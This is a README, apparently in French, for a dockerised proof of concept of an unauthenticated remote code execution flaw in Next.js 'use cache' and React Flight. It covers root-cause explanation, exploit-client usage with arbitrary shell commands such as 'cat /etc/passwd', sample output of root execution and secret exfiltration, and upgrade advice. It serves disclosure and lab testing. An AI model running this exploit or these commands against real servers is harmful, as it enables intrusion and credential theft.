Preuve de concept dockerisée pour GHSA-673q-mjm6-r5xr : une seule requête non authentifiée permet d'obtenir une RCE dans Next.js use cache / React Flight, avec une victime corrigée à des fins de comparaison.
use cache / React Flight)Exécution de code à distance non authentifiée dans les fonctions
use cacherenvoyant des tableaux typés Next.js>=16.0.0 <16.4.1· CVSS v4 9.5 Critique · CWE-502 (Désérialisation de données non fiables) Cause racine en amont : React Server Components — CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3 (react-server-dom-*< 19.2.9/19.1.10/19.0.9/19.3.1). Corrigé dans Next.js 16.4.1.
Une preuve de concept distante entièrement fonctionnelle et dockerisée : un attaquant réseau envoie une
seule requête HTTP non authentifiée et exécute des commandes arbitraires en tant que root à l'intérieur du conteneur
victime. Une victime corrigée, construite à partir des mêmes sources, est immunisée.
attacker container ──HTTP POST /profile (crafted body)──▶ victim container (Next.js-style
(no privileged access) `use cache` Flight boundary)
▲ │
└──────────── GET /proof ◀── server-side `id`, SECRET.txt exfil ──┘
Il s'agit d'une reproduction autonome du transport Flight exact des React Server Components que
Next.js intègre (react-server-dom-webpack), épinglée aux versions vulnérable (19.2.8) et corrigée
(19.2.9). Voir CASE-STUDY.md pour l'analyse complète de la cause racine.
make demo # builds images, starts both victims, pwns the vulnerable one,
# then shows the same exploit fail against the patched one
ou étape par étape :
docker compose up -d --build victim victim-patched # :3000 vulnerable, :3001 patched
docker compose run --rm poc # RCE vs :3000 -> exit 0
docker compose run --rm poc-patched # safe vs :3001 -> exit 1
docker compose run --rm evidence # root-cause reproducers, side by side
Prérequis : Docker + Docker Compose. Aucun accès Internet nécessaire à l'exécution (uniquement au moment de la construction pour récupérer les paquets npm épinglés).
Face à la victime vulnérable ([email protected]) :
[+] REMOTE CODE EXECUTION CONFIRMED
command : id; echo; echo "=== exfiltrated /app/SECRET.txt ==="; cat /app/SECRET.txt; echo; uname -a
host : 648b3c59052e user: root pid: 1
--- command output (executed on the victim) ---
| uid=0(root) gid=0(root) groups=0(root)
|
| === exfiltrated /app/SECRET.txt ===
| DB_PASSWORD=hunter2
| API_KEY=sk-live-7f3c9a21b0e4
| FLAG{GHSA-673q-mjm6-r5xr-rce}
|
| Linux 648b3c59052e 6.10.14-linuxkit ... aarch64 GNU/Linux
Face à la victime corrigée ([email protected]), la requête identique se décode
en une carte de profil inoffensive — les octets de l'attaquant restent à l'intérieur de la chaîne displayName et ne
deviennent jamais des instructions de protocole :
[-] No code execution observed. Target is PATCHED.
decode result: {"keys":["avatar","thumbnail","displayName"],"displayName":"PPPP…"}
La victime met en cache une « carte de profil » utilisateur avec une fonction use cache de style Next.js. La valeur mise en cache regroupe deux tableaux typés qui sont des vues sur le même ArrayBuffer (un avatar et une thumbnail découpés à partir d'une même image décodée — un modèle très courant de type « décoder une fois, découper des régions ») ainsi qu'une chaîne contrôlée par l'attaquant (le nom d'affichage issu de la requête) :
function getProfileCard(displayName) {
'use cache'
const decodedImage = new ArrayBuffer(8192 * 2) // one decoded image
const avatar = new Uint8Array(decodedImage, 0, 8192) // view 1
const thumbnail = new Uint8Array(decodedImage, 8192, 8192) // view 2 — SAME buffer
return { avatar, thumbnail, displayName } // displayName = attacker input
}
Lorsque l'encodeur Flight de React diffuse le premier grand tableau typé dans un ReadableStream d'octets, l'ArrayBuffer partagé est détaché (sémantique de transfert des WHATWG Streams). Le byteLength de la seconde vue devient silencieusement 0 — après que son en-tête de chunk a déjà déclaré la longueur d'origine. Le décodeur lit alors au-delà, avalant le cadrage du flux et permettant aux octets de displayName de l'attaquant d'être interprétés comme des lignes brutes du protocole Flight, qui injectent une Server Reference choisie par l'attaquant. React l'invoque lors de la lecture du cache → RCE. Analyse complète dans
CASE-STUDY.md.
.
├── README.md you are here
├── CASE-STUDY.md full root-cause + exploitation write-up
├── docker-compose.yml victim (vuln), victim-patched, poc, evidence
├── Makefile make demo / up / exploit / evidence / clean
├── victim/
│ ├── Dockerfile ARG RSDW_VERSION selects 19.2.8 (vuln) or 19.2.9 (patched)
│ ├── server.js faithful Next.js `use cache` encode→store→decode pipeline
│ └── app-modules.js the server module graph the injected reference resolves against
├── poc/
│ ├── Dockerfile
│ └── exploit.js remote HTTP exploit (flag-driven; see -h; self-aligning payload)
└── evidence/
├── 01-encoder-desync.cjs header declares N bytes, writes 0
├── 02-type-confusion-sink.cjs thenable whose .then is a server reference
├── 03-full-chain-rce.cjs desync → injection → command execution
├── run.sh runs all three against vuln AND patched
├── sample-run.txt captured output
└── upstream-diffs/ the real Next.js 16.4.0 → 16.4.1 patch diffs
Le client poc est piloté par des options. Consultez son manuel complet :
docker compose run --rm poc -h # or: node poc/exploit.js -h
USAGE
node exploit.js [options]
OPTIONS
-t, --target <url> Base URL of the victim (default: http://localhost:3000)
-c, --cmd <command> Shell command to run on the victim
--timeout <ms> Per-request timeout in ms (default: 15000)
--dry-run Build and print the payload; do not send anything
-h, --help Show this help and exit
--version Print version and exit
Exemples :
# run your own command against the vulnerable victim:
docker compose run --rm poc -t http://victim:3000 -c 'cat /etc/passwd | head -3'
# inspect the crafted payload without sending it:
docker compose run --rm poc --dry-run
# drive it directly (outside compose) against a mapped port:
node poc/exploit.js -t http://localhost:3000 -c 'id'
# a normal-looking (short) request — the shared-buffer shape alone corrupts the cache entry:
curl -s -XPOST --data 'Ada Lovelace' http://localhost:3000/profile
# inspect what the victim recorded after an exploit:
curl -s http://localhost:3000/proof | jq
Mettez à niveau Next.js vers ≥ 16.4.1 (qui embarque le runtime React Flight corrigé). Si vous dépendez directement de
react-server-dom-webpack / -turbopack / -parcel, mettez à niveau vers 19.2.9, 19.1.10,
19.0.9 ou 19.3.1. Il n'existe aucun contournement au niveau applicatif pour une fonction use cache
affectée — la mise à niveau est la seule correction.
Ce PoC ne cible que les deux conteneurs jetables qu'il construit. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à effectuer des tests.